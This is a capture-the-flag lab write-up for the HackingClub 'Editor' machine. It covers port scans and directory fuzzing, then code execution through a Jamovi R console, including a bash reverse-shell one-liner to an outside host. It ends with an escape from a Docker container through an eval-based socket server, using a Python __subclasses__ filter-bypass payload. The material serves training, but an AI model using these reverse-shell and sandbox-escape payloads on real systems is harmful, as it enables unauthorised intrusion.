[Write-Up] HackingClub: Editor
Table of Contents
Editor #
Recon #
Nmap #
┌──(kali㉿kali)-[~/Machines/HC-Editor]
└─$ nmap -sS -sV editor.hc
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-12 18:56 -0400
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 18:56 (0:00:00 remaining)
Nmap scan report for editor.hc (172.16.0.119)
Host is up (0.15s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http nginx 1.20.0
111/tcp open rpcbind 2-4 (RPC #100000)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.45 seconds
We run a nmap scan and find a HTTP server running on default port. Upon acessing that web server we’re redirect to a server on port 41337. We run a scan on that port also:
┌──(kali㉿kali)-[~/Machines/HC-Editor]
└─$ nmap -sV editor.hc -p 41337
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-12 19:12 -0400
Nmap scan report for editor.hc (172.16.0.119)
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
41337/tcp open http Tornado httpd 5.0
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.76 seconds
Enumeration #
Fuzzing HTTP - Port 80 #
┌──(kali㉿kali)-[/usr/share/wordlists/dirb]
└─$ ffuf -u "http://editor.hc/FUZZ" -w big.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://editor.hc/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
icons [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 155ms]
:: Progress: [20469/20469] :: Job [1/1] :: 267 req/sec :: Duration: [0:01:17] :: Errors: 0 ::
Fuzzing HTTP - Port 41337 #
┌──(kali㉿kali)-[~/Machines/HC-Editor]
└─$ ffuf -u http://editor.hc:41337/FUZZ -w /usr/share/wordlists/dirb/big.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://editor.hc:41337/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
användare [Status: 500, Size: 93, Words: 7, Lines: 1, Duration: 160ms]
assets [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 151ms]
login [Status: 405, Size: 87, Words: 7, Lines: 1, Duration: 170ms]
upload [Status: 405, Size: 87, Words: 7, Lines: 1, Duration: 191ms]
version [Status: 200, Size: 8, Words: 1, Lines: 2, Duration: 164ms]
:: Progress: [20469/20469] :: Job [1/1] :: 239 req/sec :: Duration: [0:01:27] :: Errors: 0 ::
┌──(kali㉿kali)-[~/Machines/HC-Editor]
└─$ ffuf -u http://editor.hc:41337/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://editor.hc:41337/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
# [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 172ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 180ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 188ms]
# directory-list-2.3-medium.txt [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 181ms]
[Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 177ms]
# [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 176ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 177ms]
# [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 184ms]
# Copyright 2007 James Fisher [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 192ms]
# [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 190ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 192ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 192ms]
# on atleast 2 different hosts [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 229ms]
# Priority ordered case sensative list, where entries were found [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 229ms]
login [Status: 405, Size: 87, Words: 7, Lines: 1, Duration: 182ms]
version [Status: 200, Size: 8, Words: 1, Lines: 2, Duration: 171ms]
assets [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 147ms]
upload [Status: 405, Size: 87, Words: 7, Lines: 1, Duration: 184ms]
Espa%c3%b1ol [Status: 500, Size: 93, Words: 7, Lines: 1, Duration: 175ms]
Fran%c3%a7ais [Status: 500, Size: 93, Words: 7, Lines: 1, Duration: 154ms]
%E9%A6%96%E9%A1%B5 [Status: 500, Size: 93, Words: 7, Lines: 1, Duration: 143ms]
Jamovi - Data Analysis Web App #
On port 41337 we find a web app aimed at data analysis and data science. It seems to be a spreadsheet and R application. The application is called Jamovi, running version 0.9.5.5.
Vulnerabilities #
Jamovi - Remote Code Execution #
That application has an space where we can run R commands; I validate through a command that we can run a curl into a web server of ours:
system("curl http://10.0.9.28:8000")
Using the same logic we acquire a reverse shell:
system("/bin/bash -c 'bash -i >& /dev/tcp/10.0.9.28/4444 0>&1'")
As soon as we get a shell we find out we are a root user, which may indicate we’re in a docker environment. We find that there’s a /.dockerenv file. Running systemd-detect-virt we have:
root@b3b0ac9a3a28:/# systemd-detect-virt --container
systemd-detect-virt --container
docker
So we got root, but we only got root on a container. First flag can be acquire here:
root@b3b0ac9a3a28:/# cat /flag
cat /flag
UHC{REDACTED}
Exploitation #
After we got initial shell, the lack of any user on the system but root, the hostname being a random hash and the presence of .dockerenv at root indicate to us that we are inside a Docker container.
root@2631cd5805c2:/# systemctl status
systemctl status
Failed to connect to bus: No such file or directory
root@2631cd5805c2:/# ls -la
ls -la
total 12
drwxr-xr-x 1 root root 29 Aug 14 2021 .
drwxr-xr-x 1 root root 29 Aug 14 2021 ..
-rwxr-xr-x 1 root root 0 Aug 14 2021 .dockerenv
drwxr-xr-x 2 root root 4096 Jul 22 2021 bin
drwxr-xr-x 2 root root 6 Apr 12 2016 boot
drwxr-xr-x 5 root root 340 Jun 22 20:56 dev
drwxr-xr-x 1 root root 66 Aug 14 2021 etc
-rw-r--r-- 1 root root 35 Aug 14 2021 flag
drwxr-xr-x 2 root root 6 Apr 12 2016 home
drwxr-xr-x 1 root root 17 Aug 14 2021 lib
drwxr-xr-x 2 root root 34 Jul 22 2021 lib64
drwxr-xr-x 2 root root 6 Jul 22 2021 media
drwxr-xr-x 2 root root 6 Jul 22 2021 mnt
drwxr-xr-x 2 root root 6 Jul 22 2021 opt
dr-xr-xr-x 125 root root 0 Jun 22 20:56 proc
drwx------ 1 root root 42 Aug 14 2021 root
drwxr-xr-x 1 root root 27 Aug 14 2021 run
drwxr-xr-x 1 root root 68 Aug 14 2021 sbin
-rw-r--r-- 1 root root 1253 Aug 14 2021 server.py
drwxr-xr-x 2 root root 6 Jul 22 2021 srv
dr-xr-xr-x 13 root root 0 Jun 22 20:56 sys
drwxrwxrwt 1 root root 82 Jun 22 20:56 tmp
drwxr-xr-x 1 root root 41 Jul 22 2021 usr
drwxr-xr-x 1 root root 41 Jul 22 2021 var
Privilege Escalation #
To get the second flag, we need a way to escape from the container as privilege escaltion. Doing some recon on the system, we find a server.py.
Server.py #
We’ve found a /server.py script at root. It has some information, including an IP address. This IP address is reachable, when we curl it we get:
root@b3b0ac9a3a28:/# curl http://172.17.0.1:8080
curl http://172.17.0.1:8080
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 37 0 37 0 0 65026 0 --:--:-- --:--:-- --:--:-- 37000
[REMOTE]>[X] Invalid prefix!root@b3b0ac9a3a28:/#
The contents of that file is shown below, it appears to be an application listening and running arbitrary commands sent through a socket connection, the only “security” that application has, it that it needs to receive a message with the prefix private.
root@2631cd5805c2:/# cat server.py
import socket
private = "SuperS3cr3tK3y"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # resolve o problema de usar a mesma porta depois de matar o processo
sock.bind(("172.17.0.1", 8080))
sock.listen(2)
print "Waiting for client....!"
while True:
(client, (ip, port)) = sock.accept()
print 'client connected with ip as {} and port {}'.format(ip, port)
data = ""
while len(data)==0:
client.send("[REMOTE]>")
data = client.recv(2048)
if(data[0:7] != 'private'):
client.sendall("[X] Invalid prefix!")
client.close()
else:
while len(data):
cmd=data.replace("__import__","")
cmd=cmd.replace("|","")
cmd=cmd.replace('system',"")
try:
result = eval(cmd)
except:
result="ERROR"
client.send(str(result))
client.send("\n[REMOTE]>")
data = client.recv(2048)
if(data[0:7] != 'private'):
client.sendall("[X] Invalid prefix!")
client.close()
break
print "Client closed connection !!! :( "
client.close()
print "Closing the Socket!!"
sock.close()
Since netcat or telnet is not available at the server, we create a small Python application to connect and send messages to that server:
import socket
HOST = "172.17.0.1"
PORT = 8080
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
try:
client_socket.connect((HOST, PORT))
print("[CONNECTED] Connected to server")
while True:
message = input("Message to send: ")
if message == ":q":
break
client_socket.sendall(message.encode("utf-8"))
print("[SENT]")
print(message, end="")
client_socket.settimeout(0.5)
chunks = []
try:
while True:
chunk = client_socket.recv(2048)
if not chunk:
print("[CLOSED] Server closed the connnection")
break
chunks.append(chunk)
except socket.timeout:
pass
client_socket.settimeout(None)
full_response = b"".join(chunks)
print(full_response)
except ConnectionRefusedError:
print("[ERROR] Could not connect to the server. Is it running?")
except (ConnectionResetError, BrokenPipeError):
print("[ERROr] Connection lost")
Upon some testing, we find that we can run arbitrary Python commands with the payload below:
private.__class__.mro()[2].__subclasses__()[59].__init__.__globals__['sys'].modules['os'].popen('cat root.txt').read()
UHC{REDACTED}
Flags #
- Container root (Jamovi RCE):
UHC{REDACTED} - Host root (Python sandbox escape via server.py):
UHC{REDACTED}